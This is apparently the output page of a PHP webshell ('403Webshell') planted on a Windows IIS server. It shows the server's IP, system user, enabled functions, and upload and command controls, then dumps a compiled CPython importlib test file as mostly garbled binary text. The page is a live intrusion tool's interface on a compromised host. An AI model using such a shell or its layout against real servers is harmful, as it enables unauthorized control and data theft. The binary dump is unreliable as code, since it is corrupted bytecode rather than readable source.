403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/test_importlib/source/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/test_importlib/source/__pycache__/test_file_loader.cpython-315.pyc
R
>lqj�]c���]QHGsGs\OQ2s\OQ2s\OQ2s\OQ2s]PH s]PH$s	]PH(s
]PH,s]PH0s]PH4s
]PH8s]PH<s]PH@s]PHDs]QHHGsGs]QHTGs]QHTGsQ	Q
2s\O2\\\\\Q5vssQQ
\\\22sQQ\\P	Q5sQQ2sQQ\2sQQ2s QQ\ \2s!\O2\!\\\\Q5vs"s#QQ2s$QQ\$\2s%\O2\%\\\\Q5vs&s'\(Q6Xc\OR2P!P!)�)�abc�util�	importlibz
importlib.abczimportlib.machineryzimportlib.util)�make_legacy_pyc�unload)�without_source_date_epoch)�SourceDateEpochTestMetac��`�\sQs]snQsQsQsQsQsQs	\
OQ2s\
OQ2s
\
OQ	2s\
OQ
2sQsUsP!)�
SimpleTestz�Should have no issue importing a source module [basic]. And if there is
a syntax error, it should raise a SyntaxError [syntax error].

c���QUm[OOQUOQ*2UmUO
O
UOUO2UmP!)�spam�hamz.py)�name�os�path�join�filepath�	machinery�SourceFileLoader�loader��selfs&�@C:\Python315\\Lib\test\test_importlib\source\test_file_loader.py�setUp�SimpleTest.setUp sH����	������U�D�I�I��,=�>��
��n�n�5�5�d�i�i����O���c��QQUOO2oQoQoUV22oUOV$OU22UOV$O22UOV$OP22UO	[
29^tt^2UOUQ*2PPP2P!)%fhP!9h)c�4`�\sQs]'snQsQsQsQsUsP!)�0SimpleTest.test_get_filename_API.<locals>.Testerc��P!�N��r�_s&&r�get_code�9SimpleTest.test_get_filename_API.<locals>.Tester.get_code(s��4rc��P!r r!r"s&&r�
get_source�;SimpleTest.test_get_filename_API.<locals>.Tester.get_source)���Trc��P!r r!r"s&&r�
is_package�;SimpleTest.test_get_filename_API.<locals>.Tester.is_package*r)rr!)	�__name__�
__module__�__qualname__�__firstlineno__r$r'r+�__static_attributes__�__classdictcell__��
__classdict__s@r�Testerr's����'�)�)�)rr5�	some_path�	some_name�XXX)r�
FileLoader�assertEqual�get_filename�assertRaises�ImportError)rr5rrrs&    r�test_get_filename_API� SimpleTest.test_get_filename_API%s���	*�T�X�X�(�(�	*�
������#������2�2�4�8�9�����2�2�4�5�����2�2�4�8�9�
�
�
�{�
+�
+�����u��-�,�
+�
+�
+�s�)C�C	�C	c��UOOUOUO2oUO	UO
U2P!r )rrrrr:r�r�others& r�
test_equality�SimpleTest.test_equality5s4�����/�/��	�	�4�=�=�I��������e�,rc��UOOQUO*UO2oUO	UO
U2P!)r#)rrrr�assertNotEqualrrAs& r�test_inequality�SimpleTest.test_inequality9s8�����/�/��d�i�i�����O�����D�K�K��/rc�`�U1Qk!)z-Fake mtime to always be higher than expected.c�$:�RU2]*!)�r!)r�fxns&�r�<lambda>�'SimpleTest.fake_mtime.<locals>.<lambda>@s
���C��I��Mrr!)rrLs&fr�
fake_mtime�SimpleTest.fake_mtime>s	���)�)rc	� �[OQ29^tt^2oUQ*oUOOU2o[UQ29^tt^2oUO	Q2PPP2[
OUQ2[OU[OOQ5UOOQU2o[OQ2oUOOQU2UmUO#U2UO%UO&Q2[UQ29^tt^2oUO	Q2PPP2[
OUQ2UO#U2UO%UO&Q2[UQ29^tt^2oUO)2oPPP2UO%[*O-WQ*Q	2]2UO%UOO/Q2UQ
*2PPP2P!)%fhCK�9h)%fhK�9h)%fhK�9h)%fhP!9h)�_temp�wb�
state = "old"��invalidation_mode�old�
state = "new"�new�rb���N�little�r]�N��2rb)r�create_modules�cache_from_source�open�writer�utime�
py_compile�compile�PycInvalidationMode�CHECKED_HASHrr�types�
ModuleType�spec_from_loader�__spec__�exec_moduler:�state�read�int�
from_bytes�source_hash�r�mapping�source�pyc�fpr�mod�datas&       r�test_checked_hash_based_pyc�&SimpleTest.test_checked_hash_based_pycBs���
�
 �
 ��
)�
)�W��W�%�F��)�)�-�-�f�5�C��f�d�#�#�r����)�*�$��H�H�V�X�&�����",�"@�"@�"M�"M�
��^�^�4�4�W�f�E�F��"�"�7�+�C��9�9�5�5�g�v�F�C�L����s�#����S�Y�Y��.��f�d�#�#�r����)�*�$��H�H�V�X�&����s�#����S�Y�Y��.��c�4���B��w�w�y��!����S�^�^�D��I�x�@�$�G�����	�	�%�%�&6�7��T�
�
�1*�
)�$�#�#��$�#��
!���+*�
)�
)�sn�9I<�I	�+C#I<�I	� A I<�I)	�A'I<�I
�I
�
	I<�I&
�I&
�!I<�)I9
�2I9
�4I<�<J
	�J
	c�j�[OQ29^tt^2o[OO	QQ29^tt^2UQ*oUOOU2o[
UQ29^tt^2oUOQ2PPP2[OUQ2[OU[OOQ5UOOQU2o[ O"Q2oUOO%QU2UmUO)U2UO+UO,Q2[
UQ29^tt^2oUOQ2PPP2[OUQ2UO)U2UO+UO,Q2PPP2PPP2P!)%fhCK\9h)%fhKz9h)%fhKA9h)%fhP!9h)	rR�_imp.check_hash_based_pycs�neverrSrTrUrWrXra)rrc�unittest�mock�patchrdrerfrrgrhrirjrkrrrlrmrnrorpr:rq)rrwrxryrzrr{s&      r�&test_overridden_checked_hash_based_pyc�1SimpleTest.test_overridden_checked_hash_based_pycas���
�
 �
 ��
)�
)�W�
�]�]�
 �
 �!=�w�
G�
G��W�%�F��)�)�-�-�f�5�C��f�d�#�#�r����)�*�$��H�H�V�X�&�����",�"@�"@�"M�"M�
��^�^�4�4�W�f�E�F��"�"�7�+�C��9�9�5�5�g�v�F�C�L����s�#����S�Y�Y��.��f�d�#�#�r����)�*�$��H�H�V�X�&����s�#����S�Y�Y��.�)H�*�
)�$�#�#��$�#��!H�
G��*�
)�
)�sm�)H!�	9H	�G'
�C#H	�7G;
�	AH	�H!�'G8�0G8�2	H	�;H�H�H	�H
�H
�H!�!H2	�*H2	c	���[OQ29^tt^2oUQ*oUOOU2o[UQ29^tt^2oUO	Q2PPP2[
OUQ
2[OU[OOQ5UOOQU2o[OQ2oUOOQU2UmUO#U2UO%UO&Q2[UQ29^tt^2oUO	Q2PPP2UO#U2UO%UO&Q2[UQ29^tt^2oUO)2oPPP2UO%[*O-WQ*Q2]2UO%UOO/Q2UQ	*2PPP2P!)%fhCK�9h)%fhK�9h)%fhK�9h)%fhP!9h)rRrSrTrUrWrXrZr[r^r_ra)rrcrdrerfrrgrhrirj�UNCHECKED_HASHrrrlrmrnrorpr:rqrrrsrtrurvs&       r�test_unchecked_hash_based_pyc�(SimpleTest.test_unchecked_hash_based_pyczs���
�
 �
 ��
)�
)�W��W�%�F��)�)�-�-�f�5�C��f�d�#�#�r����)�*�$��H�H�V�X�&�����",�"@�"@�"O�"O�
��^�^�4�4�W�f�E�F��"�"�7�+�C��9�9�5�5�g�v�F�C�L����s�#����S�Y�Y��.��f�d�#�#�r����)�*�$����s�#����S�Y�Y��.��c�4���B��w�w�y��!����S�^�^�D��I�x�@�#�F�����	�	�%�%�&6�7��T�
�
�/*�
)�$�#�#��$�#��!���)*�
)�
)�sn�9I%�H+	�+C#I%�H?	� A	I%�)I	�:A'I%�+H<
�4H<
�6	I%�?I
�I
�
I%�I"
�I"
�I%�%I6	�.I6	c�z�[OQ29^tt^2o[OO	QQ29^tt^2UQ*oUOOU2o[
UQ29^tt^2oUOQ2PPP2[OUQ
2[OU[OOQ5UOOQU2o[ O"Q2oUOO%QU2UmUO)U2UO+UO,Q2[
UQ29^tt^2oUOQ2PPP2UO)U2UO+UO,Q2[
UQ	29^tt^2oUO/2oPPP2UO+[0O3WQ
*Q2]2UO+UOO5Q2UQ*2PPP2PPP2P!)%fhCK�9h)%fhK�9h)%fhK�9h)%fhKT9h)%fhP!9h)rRr��alwaysrSrTrUrWrXrYrZr[r^r_ra)rrcr�r�r�rdrerfrrgrhrirjr�rrrlrmrnrorpr:rqrrrsrtrurvs&       r�(test_overridden_unchecked_hash_based_pyc�3SimpleTest.test_overridden_unchecked_hash_based_pyc�s���
�
 �
 ��
)�
)�W�
�]�]�
 �
 �!=�x�
H�
H��W�%�F��)�)�-�-�f�5�C��f�d�#�#�r����)�*�$��H�H�V�X�&�����",�"@�"@�"O�"O�
��^�^�4�4�W�f�E�F��"�"�7�+�C��9�9�5�5�g�v�F�C�L����s�#����S�Y�Y��.��f�d�#�#�r����)�*�$����s�#����S�Y�Y��.��c�4���B��w�w�y��!����S�^�^�D��I�x�@�#�F�����	�	�%�%�&6�7��T�
�
�/I�*�
)�$�#�#��$�#��!���)I�
H��*�
)�
)�s��)J)�	9J	�I
�C#J	�7I0
�	A	J	�J
�#A'J	�
J)�I-�%I-�'	J	�0J�9J�;J	�J�J�J	�J&
�J&
�!J)�)J:	�2J:	)rrr)r-r.r/r0�__doc__rr>rCrGrOr�writes_bytecode_filesr}r�r�r�r1r2r3s@rr
r
s������
P�
.� -�0�
*�
���� ��<
���/� �/�0
���� ��:
���� �rr
)rrrrc��\sQs]�sQsP!)rr!�r-r.r/r0r1r!rrrr����rrc��\sQs]�sQsP!)�SourceDateEpoch_SimpleTestr!r�r!rrr�r��s��	rr�)�	metaclass�source_date_epochc�`�\sQs]�snQsQP
Q\OO-QksQP
-Qks	\
OQP
-Qk2sQP
-Qks
QP
-QksQP
-Q	ksQP
-Q
ksQP
-QksQP
-QksQP
-Q
ksQP
-QksQP
-QksQsUsP!)�BadBytecodeTestc��[gr )�NotImplementedError)r�file�module_names&&&r�import_�BadBytecodeTest.import_�s��!�!r�
del_sourcerVc�t�[OQ[OOejU%cLV!*Q*o[
OV!*UUQ5[OV!*2L�[OQ2g[
OV!*UQ5U%f#UOOV!*2oL-[OV!*2[V!*2oU%cj[UQ29^tt^2oUO2oUU2o	PPP2[UQ29^tt^2oW	dUO!U	2PPP2U!U![cCK{h9h)%fhKX9h)%fhS!9h)zoManipulate the bytecode of a module by passing it into a callable
that returns what to use as the new bytecode.rR�crUz%requires sys.implementation.cache_tagrZrS)�sys�modules�KeyError�implementation�	cache_tagrhrir�unlinkr��SkipTestrrdrrerrrf)
rrrw�manipulatorr�rV�
bytecode_pathr��bc�new_bcs
&&&&$$    r�manipulate_bytecode�#BadBytecodeTest.manipulate_bytecode�sB��	����G�$����'�'�/�� '�
�� 3�
��"�"�7�=�-�5F�H��	�	�'�-�(��'�'�(O�P�P����w�}�@Q�R�� $�	�	� ;� ;�G�M� J�
��	�	�'�-�(� /��
� >�
���m�T�*�*�d��Y�Y�[��$�R���+��m�T�*�*�d��%��J�J�v�&�+���}���1�	��	��$+�*��+�*���sA�F�*F�F&�$F&�	F�F�F�F#	�F#	�&F7	�/F7	c	��[OQ29^tt^2oUOQUQUQ5oUQV42PPP2P!)%fhP!9h)rRc��Q!)rr!�r�s&rrM�2BadBytecodeTest._test_empty_file.<locals>.<lambda>�s��3r�r��rrcr��r�testr�rw�bc_paths&&$  r�_test_empty_file� BadBytecodeTest._test_empty_file�sP��
�
 �
 ��
)�
)�W��.�.�w��0>�;E�/�G�G�
��'�+�	*�
)�
)�
)��� A
�
A	�A	c	��[OQ29^tt^2oUOQUQUQ5oUQV42PPP2P!)%fhP!9h)rRc��UQ*!):N�Nr!r�s&rrM�5BadBytecodeTest._test_partial_magic.<locals>.<lambda>����2�b�6rr�r�r�s&&$  r�_test_partial_magic�#BadBytecodeTest._test_partial_magic�sR���
 �
 ��
)�
)�W��.�.�w��0A�;E�/�G�G�
��'�+�	*�
)�
)�
)�r�c	��[OQ29^tt^2oUOQUQUQ5oUQV42PPP2P!)%fhP!9h)rRc��UQ*!):Nr\Nr!r�s&rrM�2BadBytecodeTest._test_magic_only.<locals>.<lambda>r�rr�r�r�s&&$  r�_test_magic_only� BadBytecodeTest._test_magic_onlysP��
�
 �
 ��
)�
)�W��.�.�w��0A�;E�/�G�G�
��'�+�	*�
)�
)�
)�r�c	��[OQ29^tt^2oUOQUQUQ5oUQV42PPP2P!)%fhP!9h)rRc��UQ*!):N�Nr!r�s&rrM�5BadBytecodeTest._test_partial_flags.<locals>.<lambda>s��"�R�&rr�r�r�s&&$  r�_test_partial_flags�#BadBytecodeTest._test_partial_flagssP��
�
 �
 ��
)�
)�W��.�.�w��/@�:D�/�F�G�
��'�+�	*�
)�
)�
)�r�c
���[OQ29^tt^2oUOQUQU[OO
Q5oUQV42PPP2[OQ29^tt^2oUOQUQU[OOQ5oUQV42PPP2P!)%fhKq9h)%fhP!9h)rRc��UQ*!�:N�
Nr!r�s&rrM�4BadBytecodeTest._test_partial_hash.<locals>.<lambda>���2�c�7r)r�rVc��UQ*!r�r!r�s&rrMr�r�r)rrcr�rhrjrkr�r�s&&$  r�_test_partial_hash�"BadBytecodeTest._test_partial_hashs���
�
 �
 ��
)�
)�W��.�.���"�%�",�"@�"@�"M�"M�/��G�
��'�+�*��
 �
 ��
)�
)�W��.�.���"�%�",�"@�"@�"O�"O�/��G�
��'�+�*�
)�*�
)��*�
)�
)�s#�9C�?9C�C	�C	�C&	�C&	c	��[OQ29^tt^2oUOQUQUQ5oUQV42PPP2P!)%fhP!9h)rRc��UQ*!):N�Nr!r�s&rrM�9BadBytecodeTest._test_partial_timestamp.<locals>.<lambda>&���2�c�7rr�r�r�s&&$  r�_test_partial_timestamp�'BadBytecodeTest._test_partial_timestamp#�P��
�
 �
 ��
)�
)�W��.�.�w��0B�;E�/�G�G�
��'�+�	*�
)�
)�
)�r�c	��[OQ29^tt^2oUOQUQUQ5oUQV42PPP2P!)%fhP!9h)rRc��UQ*!):N�Nr!r�s&rrM�4BadBytecodeTest._test_partial_size.<locals>.<lambda>-r�rr�r�r�s&&$  r�_test_partial_size�"BadBytecodeTest._test_partial_size*r�r�c	�f�[OQ29^tt^2oUOQUQUQ5oU%f
UQ*LSoUO[29^tt^2UOUQ2PPP2PPP2P!)%fhK9h)%fhP!9h)rRc��UQ*!)�Nr`Nr!r�s&rrM�2BadBytecodeTest._test_no_marshal.<locals>.<lambda>4r�rr��rrcr�r<�EOFErrorr�)rr�rwr��	file_paths&$   r�_test_no_marshal� BadBytecodeTest._test_no_marshal1s���
�
 �
 ��
)�
)�W��.�.�w��0B�;E�/�G�G�1;���(��I��"�"�8�,�,����Y��0�-�*�
)�
-�,��*�
)�
)��4�B�(B�'B	�:B�B
�B
�B�B0	�(B0	c	��[OQ29^tt^2oUOQUQUQ5oU%f
UQ*LSoUO[29^tt^2oUOUQ2PPP2UO
WOOQ2UO
UOOU2PPP2P!)%fhKf9h)%fhP!9h)rRc�L�UQ*[OQ2*!)r�sabcd)�marshal�dumpsr�s&rrM�8BadBytecodeTest._test_non_code_marshal.<locals>.<lambda>=s��r�#�w����w�9O�/Orr�)
rrcr�r<r=r�r:�	exceptionrr)rr�rwr�r��cms&$    r�_test_non_code_marshal�&BadBytecodeTest._test_non_code_marshal:s���
�
 �
 ��
)�
)�W� �4�4�W�g�$O�/9�5�;�M�1;���(�
�I��"�"�;�/�/�2����Y��0�0����R�\�\�.�.��8����R�\�\�.�.�
�>�*�
)�
0�/��*�
)�
)�s5�C+�(C+�'C	�:AC+�C(
�!C(
�#C+�+C<	�4C<	c	�f�[OQ29^tt^2oUOQUQUQ5oU%f
UQ*LSoUO[29^tt^2UOUQ2PPP2PPP2P!)%fhK9h)%fhP!9h)rRc�$�UQ*Q*!)r�s<test>r!r�s&rrM�3BadBytecodeTest._test_bad_marshal.<locals>.<lambda>Hs
��2�c�7�Y�;Nrr�r�)rr�rwr�r�s&$   r�_test_bad_marshal�!BadBytecodeTest._test_bad_marshalEs���
�
 �
 ��
)�
)�W� �4�4�W�g�0N�;E�5�G�M�1;���(�
�I��"�"�8�,�,����Y��0�-�*�
)�
-�,��*�
)�
)�r�c��[OQ29^tt^2oUOQUQ2oUQV42PPP2P!)%fhP!9h)rRc�$�QUQ**!)�:r\NNr!r�s&rrM�1BadBytecodeTest._test_bad_magic.<locals>.<lambda>Qs��/B�R��V�/Krr�r�s&&$  r�_test_bad_magic�BadBytecodeTest._test_bad_magicNsF��
�
 �
 ��
)�
)�W��.�.�w��$K�M�G���'�+�*�
)�
)�
)�s�A�A	�A	r!)r-r.r/r0r�rhrj�	TIMESTAMPr�r�rr�r�r�r�r�r�r�r�r�r�rr1r2r3s@rr�r��s�����"� �',� �/9�.L�.L�.V�.V� �D,�5�,�
���,�e�,� �,�,�5�,�,�e�,�,�U�,�(,�%�,�,�U�,�1�U�1�	?�5�	?�1�e�1�,�%�,�,rr�c�(`�\sQsQsnQsQsUsP!)�BadBytecodeTestPEP451�Uc��UOV!2o[OU2oUOO	V#2UmUO
U2P!r )rrlrmrrnrorp)rr�r�r�modules&&&  rr��BadBytecodeTestPEP451.import_WsD�����[�/���!�!�+�.���)�)�4�4�[�I������6�"rr!)r-r.r/r0r�r1r2r3s@rrrUs����#�#rrc��`�\sQsQsn\Q2s\OQ2sQs	\OQ2s
\OQ2s\OQ2s\OQ2s
\OQ	2s\OQ
2s\OQ2s\OQ2s\OQ
2s\O\Q22s\OQ2sQsUsP!)�SourceLoaderBadBytecodeTest�^c�>�UOOUmP!r )rrr��clss&r�
setUpClass�&SourceLoaderBadBytecodeTest.setUpClass`s���]�]�3�3��
rc�8`�U1QkoROU2P!)c��:�ROV*U2[UQ29^tt^2oRO[UO	22]2PPP2P!)%fhP!9h�rZ�r�re�
assertGreater�lenrr�rrwr�r�rs&&& �rr��9SourceLoaderBadBytecodeTest.test_empty_file.<locals>.testh�L����L�L����-��m�T�*�*�d��"�"�3�t�y�y�{�#3�R�8�+�*�*�*���*A#�#A4	�,A4	�r��rr�sf r�test_empty_file�+SourceLoaderBadBytecodeTest.test_empty_filed����	9�
	
���d�#rc�8`�U1QkoROU2P!)c��:�ROV*U2[UQ29^tt^2oRO[UO	22]2PPP2P!)%fhP!9hrrrs&&& �rr��<SourceLoaderBadBytecodeTest.test_partial_magic.<locals>.testprr�r�rsf r�test_partial_magic�.SourceLoaderBadBytecodeTest.test_partial_magicos���	9�
	
� � ��&rc�8`�U1QkoROU2P!)c��:�ROV*U2[UQ29^tt^2oRO[UO	22]2PPP2P!)%fhP!9hrrrs&&& �rr��9SourceLoaderBadBytecodeTest.test_magic_only.<locals>.test{rr�r�rsf r�test_magic_only�+SourceLoaderBadBytecodeTest.test_magic_onlywr rc�8`�U1QkoROU2P!)c�:�ROV*U2[UQ29^tt^2oROUO]2ROO
2PPP2P!)%fhP!9hr)r�rer:rrr�MAGIC_NUMBER)rrwr��
bytecode_filers&&& �rr��8SourceLoaderBadBytecodeTest.test_bad_magic.<locals>.test�sY����L�L����-��m�T�*�*�m�� � ��!3�!3�A�!6�!%���!7�!7�9�+�*�*�*�s�6A/�/B	�8B	�rrsf r�test_bad_magic�*SourceLoaderBadBytecodeTest.test_bad_magic�s���	9�	
���T�"rc�8`�U1QkoROU2P!)c��:�ROV*U2[UQ29^tt^2oRO[UO	22]2PPP2P!)%fhP!9hrr�rrwr�r�rs&&& �rr��@SourceLoaderBadBytecodeTest.test_partial_timestamp.<locals>.test��L����L�L����-��g�t�$�$���"�"�3�t�y�y�{�#3�R�8�%�$�$�$�r�r�rsf r�test_partial_timestamp�2SourceLoaderBadBytecodeTest.test_partial_timestamp�s���	9�
	
�$�$�T�*rc�8`�U1QkoROU2P!)c��:�ROV*U2[UQ29^tt^2oRO[UO	22]2PPP2P!)%fhP!9hrrr7s&&& �rr��<SourceLoaderBadBytecodeTest.test_partial_flags.<locals>.test�r9r�r�rsf r�test_partial_flags�.SourceLoaderBadBytecodeTest.test_partial_flags�s���	9�
	
� � ��&rc�8`�U1QkoROU2P!)c��:�ROV*U2[UQ29^tt^2oRO[UO	22]2PPP2P!)%fhP!9hrrr7s&&& �rr��;SourceLoaderBadBytecodeTest.test_partial_hash.<locals>.test�r9r�r�rsf r�test_partial_hash�-SourceLoaderBadBytecodeTest.test_partial_hash�s���	9�
	
����%rc�8`�U1QkoROU2P!)c��:�ROV*U2[UQ29^tt^2oRO[UO	22]2PPP2P!)%fhP!9hrrr7s&&& �rr��;SourceLoaderBadBytecodeTest.test_partial_size.<locals>.test�r9r�r�rsf r�test_partial_size�-SourceLoaderBadBytecodeTest.test_partial_size�s���	9�
	
����%rc�(�UO2P!r �r�rs&r�test_no_marshal�+SourceLoaderBadBytecodeTest.test_no_marshal�s��	
���rc�(�UO2P!r �r�rs&r�test_non_code_marshal�1SourceLoaderBadBytecodeTest.test_non_code_marshal�s���#�#�%rc�(�UO2P!r )r�rs&r�test_bad_marshal�,SourceLoaderBadBytecodeTest.test_bad_marshal�s��	
��� rc	��Qo[OQ29^tt^2o[OUQ*2UOO	UQ*2o[UQ29^tt^2oUO
]2UOU2PPP2UOUQ*Q2[OOUQ*2oUOOU2o[UQ29^tt^2oUO
]2UOUO]2U2PPP2PPP2P!)%fhK�9h)%fhK-9h)%fhP!9h)r�rR�r+brZ)rrcrhrirdre�seekrfr�rr�getmtimer�_pack_uint32r:rr)r�zerosrwr�r0�source_mtime�source_timestamps&      r�test_old_timestamp�.SourceLoaderBadBytecodeTest.test_old_timestamp�s��
$��
�
 �
 ��
)�
)�W����w�w�/�0� �I�I�7�7���8H�I�M��m�U�+�+�}��"�"�1�%��#�#�E�*�,�
�L�L���)�7�3��7�7�+�+�G�G�,<�=�L�#�~�~�:�:�<�H���m�T�*�*�m��"�"�1�%�� � ��!3�!3�A�!6�8H�I�+�*�
)�,�+��+�*��*�
)�
)�sO�AE:�6#E	�A6E:�3E'	�E:�E$
�E$
�E:�'E7
�0E7
�2E:�:F	�F	c	��[OQ29^tt^2o[OUQ*2UOO	UQ*2o[UQ29^tt^2oUO
]2UOQ2PPP2[OU[O[O*[O*2UOUQ*Q2[OU[O2PPP2P!)%fhK�9h[OS[O2h9h)%fhP!9h)rRr[r�)rrcrhrirdrer\rfr�chmod�stat�S_IRUSR�S_IRGRP�S_IROTHr��S_IWUSR)rrwr�r0s&   r�test_read_only_bytecode�3SourceLoaderBadBytecodeTest.test_read_only_bytecode�s����
 �
 ��
)�
)�W����w�w�/�0� �I�I�7�7���8H�I�M��m�U�+�+�}��"�"�1�%��#�#�$7�8�,�
�H�H�]����t�|�|�3�d�l�l�B�
D�
6����W�W�-�w�7��������5�*�
)�,�+���������5��*�
)�
)�sI�AE5�4#D8	�AE5�/E�%E5�8E
�E
�E5�'E2�2E5�5F	�>F	r!)r-r.r/r0�classmethodrrr�rr%r+r3r;rArGrMrQrUrXrrbrkr1r2r3s@rrr^s^�����4��4�
���$� �$�'�
���$� �$�
���	#� �	#�
���+� �+�
���'� �'�
���&� �&�
���&� �&�
��� � � �
���&� �&�

���!� �!�

����J�� �J�$
���6� �6rrc��\sQsQsQsP!)�!SourceLoaderBadBytecodeTestPEP451��r!r�r!rrroro�r�rroc�n`�\sQsQsn\Q2sQsQsQsQs	Qs
QsQ	sQ
s
QsQsQ
sUsP!)�SourcelessLoaderBadBytecodeTest�c�>�UOOUmP!r )r�SourcelessFileLoaderrrs&rr�*SourcelessLoaderBadBytecodeTest.setUpClasss���]�]�7�7��
rc�<`�U1QkoROUP	Q5P!)c�6:�RO[29^tt^2oROV 2PPP2ROWOO
U2ROUOOU2P!)%fhK^9hr �r<r=r�r:r�rr�rrwr�r�rs&&& �rr��=SourcelessLoaderBadBytecodeTest.test_empty_file.<locals>.test�d����"�"�;�/�/�2����]�1�0����R�\�\�.�.��5����R�\�\�.�.�
�>�0�/���B�B	�B	r�rrsf rr�/SourcelessLoaderBadBytecodeTest.test_empty_files���	?�	
���d�t��4rc�<`�U1QkoROUP	Q5P!)c�6:�RO[29^tt^2oROV 2PPP2ROWOO
U2ROUOOU2P!)%fhK^9hr ryrzs&&& �rr��@SourcelessLoaderBadBytecodeTest.test_partial_magic.<locals>.testr|r}r�r$rsf rr%�2SourcelessLoaderBadBytecodeTest.test_partial_magic
s���	?�
	
� � ��$� �7rc�<`�U1QkoROUP	Q5P!)c�:�RO[29^tt^2ROV 2PPP2P!)%fhP!9hr �r<r�r��rrwr�rs&&&�rr��=SourcelessLoaderBadBytecodeTest.test_magic_only.<locals>.test�/����"�"�8�,�,����]�1�-�,�,�,���<�A
	�A
	r�r*rsf rr+�/SourcelessLoaderBadBytecodeTest.test_magic_onlys���	2�	
���d�t��4rc�<`�U1QkoROUP	Q5P!)c�6:�RO[29^tt^2oROV 2PPP2ROWOO
U2ROUOOU2P!)%fhK^9hr ryrzs&&& �rr��<SourcelessLoaderBadBytecodeTest.test_bad_magic.<locals>.testr|r}r�r2rsf rr3�.SourcelessLoaderBadBytecodeTest.test_bad_magics���	?�	
���T�d��3rc�<`�U1QkoROUP	Q5P!)c�:�RO[29^tt^2ROV 2PPP2P!)%fhP!9hr r�r�s&&&�rr��DSourcelessLoaderBadBytecodeTest.test_partial_timestamp.<locals>.test&r�r�r�r:rsf rr;�6SourcelessLoaderBadBytecodeTest.test_partial_timestamp%s���	2�	
�$�$�T�d�$�;rc�<`�U1QkoROUP	Q5P!)c�:�RO[29^tt^2ROV 2PPP2P!)%fhP!9hr r�r�s&&&�rr��@SourcelessLoaderBadBytecodeTest.test_partial_flags.<locals>.test-r�r�r�r@rsf rrA�2SourcelessLoaderBadBytecodeTest.test_partial_flags,s���	2�	
� � ��$� �7rc�<`�U1QkoROUP	Q5P!)c�:�RO[29^tt^2ROV 2PPP2P!)%fhP!9hr r�r�s&&&�rr��?SourcelessLoaderBadBytecodeTest.test_partial_hash.<locals>.test4r�r�r�rFrsf rrG�1SourcelessLoaderBadBytecodeTest.test_partial_hash3����	2�	
������6rc�<`�U1QkoROUP	Q5P!)c�:�RO[29^tt^2ROV 2PPP2P!)%fhP!9hr r�r�s&&&�rr��?SourcelessLoaderBadBytecodeTest.test_partial_size.<locals>.test;r�r�r�rLrsf rrM�1SourcelessLoaderBadBytecodeTest.test_partial_size:r�rc�,�UOP	Q5P!�Tr�rPrs&rrQ�/SourcelessLoaderBadBytecodeTest.test_no_marshalAs�������.rc�,�UOP	Q5P!r�rTrs&rrU�5SourcelessLoaderBadBytecodeTest.test_non_code_marshalDs���#�#�t�#�4rr!)r-r.r/r0rmrrr%r+r3r;rArGrMrQrUr1r2r3s@rrrrr�sN�����8��8�5�8�5�4�<�8�7�7�/�5�5rrrc��\sQsQsQsP!)�%SourcelessLoaderBadBytecodeTestPEP451�Hr!r�r!rrr�r�Hr�rr��__main__)*�test.test_importlibrr�import_importlibr�
importlib_abcr�importlib_util�errnor�rrh�shutilrfr�rlr��warnings�test.support.import_helperrr�test.test_py_compilerrr
�	test_both�Frozen_SimpleTest�Source_SimpleTest�typer�r�rrro�Frozen_SourceBadBytecodePEP451�Source_SourceBadBytecodePEP451rrr��"Frozen_SourcelessBadBytecodePEP451�"Source_SourcelessBadBytecodePEP451r-�mainr!rr�<module>r�s���)��!�!�+�.�	��%�%�o�6�
��!�!�"7�8�	��&�&�'7�8����	��
��
����>�:�8�\�\�B
�^�^�J�)�y�%�N�<����
	�5�"�#4�5�	�
	�!2�+B�37�	�I,�I,�X#�O�#�Q6�Q6�h	�#�%:�	�
�^�^�5��'�]�'�)����G5�G5�T	�,K��	�
�^�^�9�Y�'�]�'�)��#�#��z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit